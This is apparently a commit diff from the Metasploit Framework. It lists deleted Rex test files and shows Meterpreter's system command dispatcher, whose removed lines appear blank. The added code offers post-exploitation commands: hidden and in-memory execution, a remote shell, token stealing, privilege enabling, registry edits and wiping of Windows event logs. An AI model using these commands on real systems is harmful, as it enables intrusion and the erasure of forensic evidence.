- data/lib/rex/proto/dcerpc/ndr.rb.ut.rb +0 -42
- data/lib/rex/proto/dcerpc/packet.rb.ut.rb +0 -57
- data/lib/rex/proto/dcerpc/response.rb.ut.rb +0 -16
- data/lib/rex/proto/dcerpc/uuid.rb.ut.rb +0 -47
- data/lib/rex/proto/drda.rb.ts.rb +0 -18
- data/lib/rex/proto/drda/constants.rb.ut.rb +0 -24
- data/lib/rex/proto/drda/packet.rb.ut.rb +0 -110
- data/lib/rex/proto/drda/utils.rb.ut.rb +0 -85
- data/lib/rex/proto/http.rb.ts.rb +0 -13
- data/lib/rex/proto/http/client.rb.ut.rb +0 -96
- data/lib/rex/proto/http/handler/erb.rb.ut.rb +0 -22
- data/lib/rex/proto/http/handler/erb.rb.ut.rb.rhtml +0 -1
- data/lib/rex/proto/http/handler/proc.rb.ut.rb +0 -25
- data/lib/rex/proto/http/header.rb.ut.rb +0 -47
- data/lib/rex/proto/http/packet.rb.ut.rb +0 -166
- data/lib/rex/proto/http/request.rb.ut.rb +0 -215
- data/lib/rex/proto/http/response.rb.ut.rb +0 -150
- data/lib/rex/proto/http/server.rb.ut.rb +0 -80
- data/lib/rex/proto/ntlm.rb.ut.rb +0 -181
- data/lib/rex/proto/rfb.rb.ut.rb +0 -40
- data/lib/rex/proto/smb.rb.ts.rb +0 -9
- data/lib/rex/proto/smb/client.rb.ut.rb +0 -224
- data/lib/rex/proto/smb/constants.rb.ut.rb +0 -19
- data/lib/rex/proto/smb/simpleclient.rb.ut.rb +0 -129
- data/lib/rex/proto/smb/utils.rb.ut.rb +0 -21
- data/lib/rex/proto/tftp/server.rb.ut.rb +0 -29
- data/lib/rex/service_manager.rb.ut.rb +0 -33
- data/lib/rex/socket.rb.ut.rb +0 -108
- data/lib/rex/socket/comm/local.rb.ut.rb +0 -76
- data/lib/rex/socket/parameters.rb.ut.rb +0 -52
- data/lib/rex/socket/range_walker.rb.ut.rb +0 -56
- data/lib/rex/socket/ssl_tcp.rb.ut.rb +0 -40
- data/lib/rex/socket/ssl_tcp_server.rb.ut.rb +0 -62
- data/lib/rex/socket/subnet_walker.rb.ut.rb +0 -29
- data/lib/rex/socket/switch_board.rb.ut.rb +0 -53
- data/lib/rex/socket/tcp.rb.ut.rb +0 -65
- data/lib/rex/socket/tcp_server.rb.ut.rb +0 -45
- data/lib/rex/socket/udp.rb.ut.rb +0 -45
- data/lib/rex/test.rb +0 -36
- data/lib/rex/text.rb.ut.rb +0 -193
- data/lib/rex/transformer.rb.ut.rb +0 -39
- data/lib/rex/ui/text/color.rb.ut.rb +0 -19
- data/lib/rex/ui/text/progress_tracker.rb.ut.rb +0 -35
- data/lib/rex/ui/text/table.rb.ut.rb +0 -56
|
@@ -13,587 +13,889 @@ module Ui
|
|
|
13
13
|
###
|
|
14
14
|
class Console::CommandDispatcher::Stdapi::Sys
|
|
15
15
|
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
|
|
22
|
-
|
|
23
|
-
|
|
24
|
-
|
|
25
|
-
|
|
26
|
-
|
|
27
|
-
|
|
28
|
-
|
|
29
|
-
|
|
30
|
-
|
|
31
|
-
|
|
32
|
-
|
|
33
|
-
|
|
34
|
-
|
|
35
|
-
|
|
36
|
-
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
40
|
-
|
|
41
|
-
|
|
42
|
-
|
|
43
|
-
|
|
44
|
-
|
|
45
|
-
|
|
46
|
-
|
|
47
|
-
|
|
48
|
-
|
|
49
|
-
|
|
50
|
-
|
|
51
|
-
|
|
52
|
-
|
|
53
|
-
|
|
54
|
-
|
|
55
|
-
|
|
56
|
-
|
|
57
|
-
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
80
|
-
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
85
|
-
|
|
86
|
-
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
90
|
-
|
|
91
|
-
|
|
92
|
-
|
|
93
|
-
|
|
94
|
-
|
|
95
|
-
|
|
96
|
-
|
|
97
|
-
|
|
98
|
-
|
|
99
|
-
|
|
100
|
-
|
|
101
|
-
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
|
|
107
|
-
|
|
108
|
-
|
|
109
|
-
|
|
110
|
-
|
|
111
|
-
|
|
112
|
-
|
|
113
|
-
|
|
114
|
-
|
|
115
|
-
|
|
116
|
-
|
|
117
|
-
|
|
118
|
-
|
|
119
|
-
|
|
120
|
-
|
|
121
|
-
|
|
122
|
-
|
|
123
|
-
|
|
124
|
-
|
|
125
|
-
|
|
126
|
-
|
|
127
|
-
|
|
128
|
-
|
|
129
|
-
|
|
130
|
-
|
|
131
|
-
|
|
132
|
-
|
|
133
|
-
|
|
134
|
-
|
|
135
|
-
|
|
136
|
-
|
|
137
|
-
|
|
138
|
-
|
|
139
|
-
|
|
140
|
-
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
|
|
144
|
-
|
|
145
|
-
|
|
146
|
-
|
|
147
|
-
|
|
148
|
-
|
|
149
|
-
|
|
150
|
-
|
|
151
|
-
|
|
152
|
-
|
|
153
|
-
|
|
154
|
-
|
|
155
|
-
|
|
156
|
-
|
|
157
|
-
|
|
158
|
-
|
|
159
|
-
|
|
160
|
-
|
|
161
|
-
|
|
162
|
-
|
|
163
|
-
|
|
164
|
-
|
|
165
|
-
|
|
166
|
-
|
|
167
|
-
|
|
168
|
-
|
|
169
|
-
|
|
170
|
-
|
|
171
|
-
|
|
172
|
-
|
|
173
|
-
|
|
174
|
-
|
|
175
|
-
|
|
176
|
-
|
|
177
|
-
|
|
178
|
-
|
|
179
|
-
|
|
180
|
-
|
|
181
|
-
|
|
182
|
-
|
|
183
|
-
|
|
184
|
-
|
|
185
|
-
|
|
186
|
-
|
|
187
|
-
|
|
188
|
-
|
|
189
|
-
|
|
190
|
-
|
|
191
|
-
|
|
192
|
-
|
|
193
|
-
|
|
194
|
-
|
|
195
|
-
|
|
196
|
-
|
|
197
|
-
|
|
198
|
-
|
|
199
|
-
|
|
200
|
-
|
|
201
|
-
|
|
202
|
-
|
|
203
|
-
|
|
204
|
-
|
|
205
|
-
|
|
206
|
-
|
|
207
|
-
|
|
208
|
-
|
|
209
|
-
|
|
210
|
-
|
|
211
|
-
|
|
212
|
-
|
|
213
|
-
|
|
214
|
-
|
|
215
|
-
|
|
216
|
-
|
|
217
|
-
|
|
218
|
-
|
|
219
|
-
|
|
220
|
-
|
|
221
|
-
|
|
222
|
-
|
|
223
|
-
|
|
224
|
-
|
|
225
|
-
|
|
226
|
-
|
|
227
|
-
|
|
228
|
-
|
|
229
|
-
|
|
230
|
-
|
|
231
|
-
|
|
232
|
-
|
|
233
|
-
|
|
234
|
-
|
|
235
|
-
|
|
236
|
-
|
|
237
|
-
|
|
238
|
-
|
|
239
|
-
|
|
240
|
-
|
|
241
|
-
|
|
242
|
-
|
|
243
|
-
|
|
244
|
-
|
|
245
|
-
|
|
246
|
-
|
|
247
|
-
|
|
248
|
-
|
|
249
|
-
|
|
250
|
-
|
|
251
|
-
|
|
252
|
-
|
|
253
|
-
|
|
254
|
-
|
|
255
|
-
|
|
256
|
-
|
|
257
|
-
|
|
258
|
-
|
|
259
|
-
|
|
260
|
-
|
|
261
|
-
|
|
262
|
-
|
|
263
|
-
|
|
264
|
-
|
|
265
|
-
|
|
266
|
-
|
|
267
|
-
|
|
268
|
-
|
|
269
|
-
|
|
270
|
-
|
|
271
|
-
|
|
272
|
-
|
|
273
|
-
|
|
274
|
-
|
|
275
|
-
|
|
276
|
-
|
|
277
|
-
|
|
278
|
-
|
|
279
|
-
|
|
280
|
-
|
|
281
|
-
|
|
282
|
-
|
|
283
|
-
|
|
284
|
-
|
|
285
|
-
|
|
286
|
-
|
|
287
|
-
|
|
288
|
-
|
|
289
|
-
|
|
290
|
-
|
|
291
|
-
|
|
292
|
-
|
|
293
|
-
|
|
294
|
-
|
|
295
|
-
|
|
296
|
-
|
|
297
|
-
|
|
298
|
-
|
|
299
|
-
|
|
300
|
-
|
|
301
|
-
|
|
302
|
-
|
|
303
|
-
|
|
304
|
-
|
|
305
|
-
|
|
306
|
-
|
|
307
|
-
|
|
308
|
-
|
|
309
|
-
|
|
310
|
-
|
|
311
|
-
|
|
312
|
-
|
|
313
|
-
|
|
314
|
-
|
|
315
|
-
|
|
316
|
-
|
|
317
|
-
|
|
318
|
-
|
|
319
|
-
|
|
320
|
-
|
|
321
|
-
|
|
322
|
-
|
|
323
|
-
|
|
324
|
-
|
|
325
|
-
|
|
326
|
-
|
|
327
|
-
|
|
328
|
-
|
|
329
|
-
|
|
330
|
-
|
|
331
|
-
|
|
332
|
-
|
|
333
|
-
|
|
334
|
-
|
|
335
|
-
|
|
336
|
-
|
|
337
|
-
|
|
338
|
-
|
|
339
|
-
|
|
340
|
-
|
|
341
|
-
|
|
342
|
-
|
|
343
|
-
|
|
344
|
-
|
|
345
|
-
|
|
346
|
-
|
|
347
|
-
|
|
348
|
-
|
|
349
|
-
|
|
350
|
-
|
|
351
|
-
|
|
352
|
-
|
|
353
|
-
|
|
354
|
-
|
|
355
|
-
|
|
356
|
-
|
|
357
|
-
|
|
358
|
-
|
|
359
|
-
|
|
360
|
-
|
|
361
|
-
|
|
362
|
-
|
|
363
|
-
|
|
364
|
-
|
|
365
|
-
|
|
366
|
-
|
|
367
|
-
|
|
368
|
-
|
|
369
|
-
|
|
370
|
-
|
|
371
|
-
|
|
372
|
-
|
|
373
|
-
|
|
374
|
-
|
|
375
|
-
|
|
376
|
-
|
|
377
|
-
|
|
378
|
-
|
|
379
|
-
|
|
380
|
-
|
|
381
|
-
|
|
382
|
-
|
|
383
|
-
|
|
384
|
-
|
|
385
|
-
|
|
386
|
-
|
|
387
|
-
|
|
388
|
-
|
|
389
|
-
|
|
390
|
-
|
|
391
|
-
|
|
392
|
-
|
|
393
|
-
|
|
394
|
-
|
|
395
|
-
|
|
396
|
-
|
|
397
|
-
|
|
398
|
-
|
|
399
|
-
|
|
400
|
-
|
|
401
|
-
|
|
402
|
-
|
|
403
|
-
|
|
404
|
-
|
|
405
|
-
|
|
406
|
-
|
|
407
|
-
|
|
408
|
-
|
|
409
|
-
|
|
410
|
-
|
|
411
|
-
|
|
412
|
-
|
|
413
|
-
|
|
414
|
-
|
|
415
|
-
|
|
416
|
-
|
|
417
|
-
|
|
418
|
-
|
|
419
|
-
|
|
420
|
-
|
|
421
|
-
|
|
422
|
-
|
|
423
|
-
|
|
424
|
-
|
|
425
|
-
|
|
426
|
-
|
|
427
|
-
|
|
428
|
-
|
|
429
|
-
|
|
430
|
-
|
|
431
|
-
|
|
432
|
-
|
|
433
|
-
|
|
434
|
-
|
|
435
|
-
|
|
436
|
-
|
|
437
|
-
|
|
438
|
-
|
|
439
|
-
|
|
440
|
-
|
|
441
|
-
|
|
442
|
-
|
|
443
|
-
|
|
444
|
-
|
|
445
|
-
|
|
446
|
-
|
|
447
|
-
|
|
448
|
-
|
|
449
|
-
|
|
450
|
-
|
|
451
|
-
|
|
452
|
-
|
|
453
|
-
|
|
454
|
-
|
|
455
|
-
|
|
456
|
-
|
|
457
|
-
|
|
458
|
-
|
|
459
|
-
|
|
460
|
-
|
|
461
|
-
|
|
462
|
-
|
|
463
|
-
|
|
464
|
-
|
|
465
|
-
|
|
466
|
-
|
|
467
|
-
|
|
468
|
-
|
|
469
|
-
|
|
470
|
-
|
|
471
|
-
|
|
472
|
-
|
|
473
|
-
|
|
474
|
-
|
|
475
|
-
|
|
476
|
-
|
|
477
|
-
|
|
478
|
-
|
|
479
|
-
|
|
480
|
-
|
|
481
|
-
|
|
482
|
-
|
|
483
|
-
|
|
484
|
-
|
|
485
|
-
|
|
486
|
-
|
|
487
|
-
|
|
488
|
-
|
|
489
|
-
|
|
490
|
-
|
|
491
|
-
|
|
492
|
-
|
|
493
|
-
|
|
494
|
-
|
|
495
|
-
|
|
496
|
-
|
|
497
|
-
|
|
498
|
-
|
|
499
|
-
|
|
500
|
-
|
|
501
|
-
|
|
502
|
-
|
|
503
|
-
|
|
504
|
-
|
|
505
|
-
|
|
506
|
-
|
|
507
|
-
|
|
508
|
-
|
|
509
|
-
|
|
510
|
-
|
|
511
|
-
|
|
512
|
-
|
|
513
|
-
|
|
514
|
-
|
|
515
|
-
|
|
516
|
-
|
|
517
|
-
|
|
518
|
-
|
|
519
|
-
|
|
520
|
-
|
|
521
|
-
|
|
522
|
-
|
|
523
|
-
|
|
524
|
-
|
|
525
|
-
|
|
526
|
-
|
|
527
|
-
|
|
528
|
-
|
|
529
|
-
|
|
530
|
-
|
|
531
|
-
|
|
532
|
-
|
|
533
|
-
|
|
534
|
-
|
|
535
|
-
|
|
536
|
-
|
|
537
|
-
|
|
538
|
-
|
|
539
|
-
|
|
540
|
-
|
|
541
|
-
|
|
542
|
-
|
|
543
|
-
|
|
544
|
-
|
|
545
|
-
|
|
546
|
-
|
|
547
|
-
|
|
548
|
-
|
|
549
|
-
|
|
550
|
-
|
|
551
|
-
|
|
552
|
-
|
|
553
|
-
|
|
554
|
-
|
|
555
|
-
|
|
556
|
-
|
|
557
|
-
|
|
558
|
-
|
|
559
|
-
|
|
560
|
-
|
|
561
|
-
|
|
562
|
-
|
|
563
|
-
|
|
564
|
-
|
|
565
|
-
|
|
566
|
-
|
|
567
|
-
|
|
568
|
-
|
|
569
|
-
|
|
570
|
-
|
|
571
|
-
|
|
572
|
-
|
|
573
|
-
|
|
574
|
-
|
|
575
|
-
|
|
576
|
-
|
|
577
|
-
|
|
578
|
-
|
|
579
|
-
|
|
580
|
-
|
|
581
|
-
|
|
582
|
-
|
|
583
|
-
|
|
584
|
-
|
|
585
|
-
|
|
586
|
-
|
|
587
|
-
|
|
588
|
-
|
|
589
|
-
|
|
590
|
-
|
|
591
|
-
|
|
592
|
-
|
|
593
|
-
|
|
594
|
-
|
|
595
|
-
|
|
596
|
-
|
|
16
|
+
Klass = Console::CommandDispatcher::Stdapi::Sys
|
|
17
|
+
|
|
18
|
+
include Console::CommandDispatcher
|
|
19
|
+
|
|
20
|
+
#
|
|
21
|
+
# Options used by the 'execute' command.
|
|
22
|
+
#
|
|
23
|
+
@@execute_opts = Rex::Parser::Arguments.new(
|
|
24
|
+
"-a" => [ true, "The arguments to pass to the command." ],
|
|
25
|
+
"-c" => [ false, "Channelized I/O (required for interaction)." ],
|
|
26
|
+
"-f" => [ true, "The executable command to run." ],
|
|
27
|
+
"-h" => [ false, "Help menu." ],
|
|
28
|
+
"-H" => [ false, "Create the process hidden from view." ],
|
|
29
|
+
"-i" => [ false, "Interact with the process after creating it." ],
|
|
30
|
+
"-m" => [ false, "Execute from memory." ],
|
|
31
|
+
"-d" => [ true, "The 'dummy' executable to launch when using -m." ],
|
|
32
|
+
"-t" => [ false, "Execute process with currently impersonated thread token"],
|
|
33
|
+
"-k" => [ false, "Execute process on the meterpreters current desktop" ],
|
|
34
|
+
"-s" => [ true, "Execute process in a given session as the session user" ])
|
|
35
|
+
|
|
36
|
+
#
|
|
37
|
+
# Options used by the 'reboot' command.
|
|
38
|
+
#
|
|
39
|
+
@@reboot_opts = Rex::Parser::Arguments.new(
|
|
40
|
+
"-h" => [ false, "Help menu." ],
|
|
41
|
+
"-f" => [ true, "Force a reboot, valid values [1|2]" ])
|
|
42
|
+
|
|
43
|
+
#
|
|
44
|
+
# Options used by the 'shutdown' command.
|
|
45
|
+
#
|
|
46
|
+
@@shutdown_opts = Rex::Parser::Arguments.new(
|
|
47
|
+
"-h" => [ false, "Help menu." ],
|
|
48
|
+
"-f" => [ true, "Force a shutdown, valid values [1|2]" ])
|
|
49
|
+
|
|
50
|
+
#
|
|
51
|
+
# Options used by the 'reg' command.
|
|
52
|
+
#
|
|
53
|
+
@@reg_opts = Rex::Parser::Arguments.new(
|
|
54
|
+
"-d" => [ true, "The data to store in the registry value." ],
|
|
55
|
+
"-h" => [ false, "Help menu." ],
|
|
56
|
+
"-k" => [ true, "The registry key path (E.g. HKLM\\Software\\Foo)." ],
|
|
57
|
+
"-t" => [ true, "The registry value type (E.g. REG_SZ)." ],
|
|
58
|
+
"-v" => [ true, "The registry value name (E.g. Stuff)." ],
|
|
59
|
+
"-r" => [ true, "The remote machine name to connect to (with current process credentials" ],
|
|
60
|
+
"-w" => [ false, "Set KEY_WOW64 flag, valid values [32|64]." ])
|
|
61
|
+
|
|
62
|
+
#
|
|
63
|
+
# Options for the 'ps' command.
|
|
64
|
+
#
|
|
65
|
+
@@ps_opts = Rex::Parser::Arguments.new(
|
|
66
|
+
"-h" => [ false, "Help menu." ],
|
|
67
|
+
"-S" => [ true, "Filters processes on the process name using the supplied RegEx"],
|
|
68
|
+
"-A" => [ true, "Filters processes on architecture (x86 or x86_64)" ],
|
|
69
|
+
"-s" => [ false, "Show only SYSTEM processes" ],
|
|
70
|
+
"-U" => [ true, "Filters processes on the user using the supplied RegEx" ])
|
|
71
|
+
|
|
72
|
+
#
|
|
73
|
+
# Options for the 'suspend' command.
|
|
74
|
+
#
|
|
75
|
+
@@suspend_opts = Rex::Parser::Arguments.new(
|
|
76
|
+
"-h" => [ false, "Help menu." ],
|
|
77
|
+
"-c" => [ false, "Continues suspending or resuming even if an error is encountered"],
|
|
78
|
+
"-r" => [ false, "Resumes the target processes instead of suspending" ])
|
|
79
|
+
|
|
80
|
+
#
|
|
81
|
+
# List of supported commands.
|
|
82
|
+
#
|
|
83
|
+
def commands
|
|
84
|
+
all = {
|
|
85
|
+
"clearev" => "Clear the event log",
|
|
86
|
+
"drop_token" => "Relinquishes any active impersonation token.",
|
|
87
|
+
"execute" => "Execute a command",
|
|
88
|
+
"getpid" => "Get the current process identifier",
|
|
89
|
+
"getprivs" => "Attempt to enable all privileges available to the current process",
|
|
90
|
+
"getuid" => "Get the user that the server is running as",
|
|
91
|
+
"getenv" => "Get one or more environment variable values",
|
|
92
|
+
"kill" => "Terminate a process",
|
|
93
|
+
"ps" => "List running processes",
|
|
94
|
+
"reboot" => "Reboots the remote computer",
|
|
95
|
+
"reg" => "Modify and interact with the remote registry",
|
|
96
|
+
"rev2self" => "Calls RevertToSelf() on the remote machine",
|
|
97
|
+
"shell" => "Drop into a system command shell",
|
|
98
|
+
"shutdown" => "Shuts down the remote computer",
|
|
99
|
+
"steal_token" => "Attempts to steal an impersonation token from the target process",
|
|
100
|
+
"suspend" => "Suspends or resumes a list of processes",
|
|
101
|
+
"sysinfo" => "Gets information about the remote system, such as OS",
|
|
102
|
+
}
|
|
103
|
+
reqs = {
|
|
104
|
+
"clearev" => [ "stdapi_sys_eventlog_open", "stdapi_sys_eventlog_clear" ],
|
|
105
|
+
"drop_token" => [ "stdapi_sys_config_drop_token" ],
|
|
106
|
+
"execute" => [ "stdapi_sys_process_execute" ],
|
|
107
|
+
"getpid" => [ "stdapi_sys_process_getpid" ],
|
|
108
|
+
"getprivs" => [ "stdapi_sys_config_getprivs" ],
|
|
109
|
+
"getuid" => [ "stdapi_sys_config_getuid" ],
|
|
110
|
+
"getenv" => [ "stdapi_sys_config_getenv" ],
|
|
111
|
+
"kill" => [ "stdapi_sys_process_kill" ],
|
|
112
|
+
"ps" => [ "stdapi_sys_process_get_processes" ],
|
|
113
|
+
"reboot" => [ "stdapi_sys_power_exitwindows" ],
|
|
114
|
+
"reg" => [
|
|
115
|
+
"stdapi_registry_load_key",
|
|
116
|
+
"stdapi_registry_unload_key",
|
|
117
|
+
"stdapi_registry_open_key",
|
|
118
|
+
"stdapi_registry_open_remote_key",
|
|
119
|
+
"stdapi_registry_create_key",
|
|
120
|
+
"stdapi_registry_delete_key",
|
|
121
|
+
"stdapi_registry_close_key",
|
|
122
|
+
"stdapi_registry_enum_key",
|
|
123
|
+
"stdapi_registry_set_value",
|
|
124
|
+
"stdapi_registry_query_value",
|
|
125
|
+
"stdapi_registry_delete_value",
|
|
126
|
+
"stdapi_registry_query_class",
|
|
127
|
+
"stdapi_registry_enum_value",
|
|
128
|
+
],
|
|
129
|
+
"rev2self" => [ "stdapi_sys_config_rev2self" ],
|
|
130
|
+
"shell" => [ "stdapi_sys_process_execute" ],
|
|
131
|
+
"shutdown" => [ "stdapi_sys_power_exitwindows" ],
|
|
132
|
+
"steal_token" => [ "stdapi_sys_config_steal_token" ],
|
|
133
|
+
"suspend" => [ "stdapi_sys_process_attach"],
|
|
134
|
+
"sysinfo" => [ "stdapi_sys_config_sysinfo" ],
|
|
135
|
+
}
|
|
136
|
+
|
|
137
|
+
all.delete_if do |cmd, desc|
|
|
138
|
+
del = false
|
|
139
|
+
reqs[cmd].each do |req|
|
|
140
|
+
next if client.commands.include? req
|
|
141
|
+
del = true
|
|
142
|
+
break
|
|
143
|
+
end
|
|
144
|
+
|
|
145
|
+
del
|
|
146
|
+
end
|
|
147
|
+
|
|
148
|
+
all
|
|
149
|
+
end
|
|
150
|
+
|
|
151
|
+
#
|
|
152
|
+
# Name for this dispatcher.
|
|
153
|
+
#
|
|
154
|
+
def name
|
|
155
|
+
"Stdapi: System"
|
|
156
|
+
end
|
|
157
|
+
|
|
158
|
+
#
|
|
159
|
+
# Executes a command with some options.
|
|
160
|
+
#
|
|
161
|
+
def cmd_execute(*args)
|
|
162
|
+
if (args.length == 0)
|
|
163
|
+
args.unshift("-h")
|
|
164
|
+
end
|
|
165
|
+
|
|
166
|
+
session = nil
|
|
167
|
+
interact = false
|
|
168
|
+
desktop = false
|
|
169
|
+
channelized = nil
|
|
170
|
+
hidden = nil
|
|
171
|
+
from_mem = false
|
|
172
|
+
dummy_exec = "cmd"
|
|
173
|
+
cmd_args = nil
|
|
174
|
+
cmd_exec = nil
|
|
175
|
+
use_thread_token = false
|
|
176
|
+
|
|
177
|
+
@@execute_opts.parse(args) { |opt, idx, val|
|
|
178
|
+
case opt
|
|
179
|
+
when "-a"
|
|
180
|
+
cmd_args = val
|
|
181
|
+
when "-c"
|
|
182
|
+
channelized = true
|
|
183
|
+
when "-f"
|
|
184
|
+
cmd_exec = val
|
|
185
|
+
when "-H"
|
|
186
|
+
hidden = true
|
|
187
|
+
when "-m"
|
|
188
|
+
from_mem = true
|
|
189
|
+
when "-d"
|
|
190
|
+
dummy_exec = val
|
|
191
|
+
when "-k"
|
|
192
|
+
desktop = true
|
|
193
|
+
when "-h"
|
|
194
|
+
print(
|
|
195
|
+
"Usage: execute -f file [options]\n\n" +
|
|
196
|
+
"Executes a command on the remote machine.\n" +
|
|
197
|
+
@@execute_opts.usage)
|
|
198
|
+
return true
|
|
199
|
+
when "-i"
|
|
200
|
+
channelized = true
|
|
201
|
+
interact = true
|
|
202
|
+
when "-t"
|
|
203
|
+
use_thread_token = true
|
|
204
|
+
when "-s"
|
|
205
|
+
session = val.to_i
|
|
206
|
+
end
|
|
207
|
+
}
|
|
208
|
+
|
|
209
|
+
# Did we at least get an executable?
|
|
210
|
+
if (cmd_exec == nil)
|
|
211
|
+
print_error("You must specify an executable file with -f")
|
|
212
|
+
return true
|
|
213
|
+
end
|
|
214
|
+
|
|
215
|
+
# Execute it
|
|
216
|
+
p = client.sys.process.execute(cmd_exec, cmd_args,
|
|
217
|
+
'Channelized' => channelized,
|
|
218
|
+
'Desktop' => desktop,
|
|
219
|
+
'Session' => session,
|
|
220
|
+
'Hidden' => hidden,
|
|
221
|
+
'InMemory' => (from_mem) ? dummy_exec : nil,
|
|
222
|
+
'UseThreadToken' => use_thread_token)
|
|
223
|
+
|
|
224
|
+
print_line("Process #{p.pid} created.")
|
|
225
|
+
print_line("Channel #{p.channel.cid} created.") if (p.channel)
|
|
226
|
+
|
|
227
|
+
if (interact and p.channel)
|
|
228
|
+
shell.interact_with_channel(p.channel)
|
|
229
|
+
end
|
|
230
|
+
end
|
|
231
|
+
|
|
232
|
+
|
|
233
|
+
#
|
|
234
|
+
# Drop into a system shell as specified by %COMSPEC% or
|
|
235
|
+
# as appropriate for the host.
|
|
236
|
+
def cmd_shell(*args)
|
|
237
|
+
case client.platform
|
|
238
|
+
when /win/
|
|
239
|
+
path = client.fs.file.expand_path("%COMSPEC%")
|
|
240
|
+
path = (path and not path.empty?) ? path : "cmd.exe"
|
|
241
|
+
|
|
242
|
+
# attempt the shell with thread impersonation
|
|
243
|
+
begin
|
|
244
|
+
cmd_execute("-f", path, "-c", "-H", "-i", "-t")
|
|
245
|
+
rescue
|
|
246
|
+
# if this fails, then we attempt without impersonation
|
|
247
|
+
print_error( "Failed to spawn shell with thread impersonation. Retrying without it." )
|
|
248
|
+
cmd_execute("-f", path, "-c", "-H", "-i")
|
|
249
|
+
end
|
|
250
|
+
when /linux/
|
|
251
|
+
# Don't expand_path() this because it's literal anyway
|
|
252
|
+
path = "/bin/sh"
|
|
253
|
+
cmd_execute("-f", path, "-c", "-i")
|
|
254
|
+
else
|
|
255
|
+
# Then this is a multi-platform meterpreter (php or java), which
|
|
256
|
+
# must special-case COMSPEC to return the system-specific shell.
|
|
257
|
+
path = client.fs.file.expand_path("%COMSPEC%")
|
|
258
|
+
# If that failed for whatever reason, guess it's unix
|
|
259
|
+
path = (path and not path.empty?) ? path : "/bin/sh"
|
|
260
|
+
cmd_execute("-f", path, "-c", "-i")
|
|
261
|
+
end
|
|
262
|
+
end
|
|
263
|
+
|
|
264
|
+
|
|
265
|
+
#
|
|
266
|
+
# Gets the process identifier that meterpreter is running in on the remote
|
|
267
|
+
# machine.
|
|
268
|
+
#
|
|
269
|
+
def cmd_getpid(*args)
|
|
270
|
+
print_line("Current pid: #{client.sys.process.getpid}")
|
|
271
|
+
|
|
272
|
+
return true
|
|
273
|
+
end
|
|
274
|
+
|
|
275
|
+
#
|
|
276
|
+
# Displays the user that the server is running as.
|
|
277
|
+
#
|
|
278
|
+
def cmd_getuid(*args)
|
|
279
|
+
print_line("Server username: #{client.sys.config.getuid}")
|
|
280
|
+
end
|
|
281
|
+
|
|
282
|
+
#
|
|
283
|
+
# Get the value of one or more environment variables from the target.
|
|
284
|
+
#
|
|
285
|
+
def cmd_getenv(*args)
|
|
286
|
+
vars = client.sys.config.getenvs(*args)
|
|
287
|
+
|
|
288
|
+
if vars.length == 0
|
|
289
|
+
print_error("None of the specified environment variables were found/set.")
|
|
290
|
+
else
|
|
291
|
+
table = Rex::Ui::Text::Table.new(
|
|
292
|
+
'Header' => 'Environment Variables',
|
|
293
|
+
'Indent' => 0,
|
|
294
|
+
'SortIndex' => 1,
|
|
295
|
+
'Columns' => [
|
|
296
|
+
'Variable', 'Value'
|
|
297
|
+
]
|
|
298
|
+
)
|
|
299
|
+
|
|
300
|
+
vars.each do |var, val|
|
|
301
|
+
table << [ var, val ]
|
|
302
|
+
end
|
|
303
|
+
|
|
304
|
+
print_line
|
|
305
|
+
print_line(table.to_s)
|
|
306
|
+
end
|
|
307
|
+
end
|
|
308
|
+
|
|
309
|
+
#
|
|
310
|
+
# Clears the event log
|
|
311
|
+
#
|
|
312
|
+
def cmd_clearev(*args)
|
|
313
|
+
|
|
314
|
+
logs = ['Application', 'System', 'Security']
|
|
315
|
+
logs << args
|
|
316
|
+
logs.flatten!
|
|
317
|
+
|
|
318
|
+
logs.each do |name|
|
|
319
|
+
log = client.sys.eventlog.open(name)
|
|
320
|
+
print_status("Wiping #{log.length} records from #{name}...")
|
|
321
|
+
log.clear
|
|
322
|
+
end
|
|
323
|
+
end
|
|
324
|
+
|
|
325
|
+
#
|
|
326
|
+
# Kills one or more processes.
|
|
327
|
+
#
|
|
328
|
+
def cmd_kill(*args)
|
|
329
|
+
# give'em help if they want it, or seem confused
|
|
330
|
+
if ( args.length == 0 or (args.length == 1 and args[0].strip == "-h") )
|
|
331
|
+
cmd_kill_help
|
|
332
|
+
return true
|
|
333
|
+
end
|
|
334
|
+
|
|
335
|
+
self_destruct = args.include?("-s")
|
|
336
|
+
|
|
337
|
+
if self_destruct
|
|
338
|
+
valid_pids = [client.sys.process.getpid.to_i]
|
|
339
|
+
else
|
|
340
|
+
valid_pids = validate_pids(args)
|
|
341
|
+
|
|
342
|
+
# validate all the proposed pids first so we can bail if one is bogus
|
|
343
|
+
args.uniq!
|
|
344
|
+
diff = args - valid_pids.map {|e| e.to_s}
|
|
345
|
+
if not diff.empty? # then we had an invalid pid
|
|
346
|
+
print_error("The following pids are not valid: #{diff.join(", ").to_s}. Quitting")
|
|
347
|
+
return false
|
|
348
|
+
end
|
|
349
|
+
end
|
|
350
|
+
|
|
351
|
+
# kill kill kill
|
|
352
|
+
print_line("Killing: #{valid_pids.join(", ").to_s}")
|
|
353
|
+
client.sys.process.kill(*(valid_pids.map { |x| x }))
|
|
354
|
+
return true
|
|
355
|
+
end
|
|
356
|
+
|
|
357
|
+
#
|
|
358
|
+
# help for the kill command
|
|
359
|
+
#
|
|
360
|
+
def cmd_kill_help
|
|
361
|
+
print_line("Usage: kill [pid1 [pid2 [pid3 ...]]] [-s]")
|
|
362
|
+
print_line("Terminate one or more processes.")
|
|
363
|
+
print_line(" -s : Kills the pid associated with the current session.")
|
|
364
|
+
end
|
|
365
|
+
|
|
366
|
+
#
|
|
367
|
+
# validates an array of pids against the running processes on target host
|
|
368
|
+
# behavior can be controlled to allow/deny proces 0 and the session's process
|
|
369
|
+
# the pids:
|
|
370
|
+
# - are converted to integers
|
|
371
|
+
# - have had pid 0 removed unless allow_pid_0
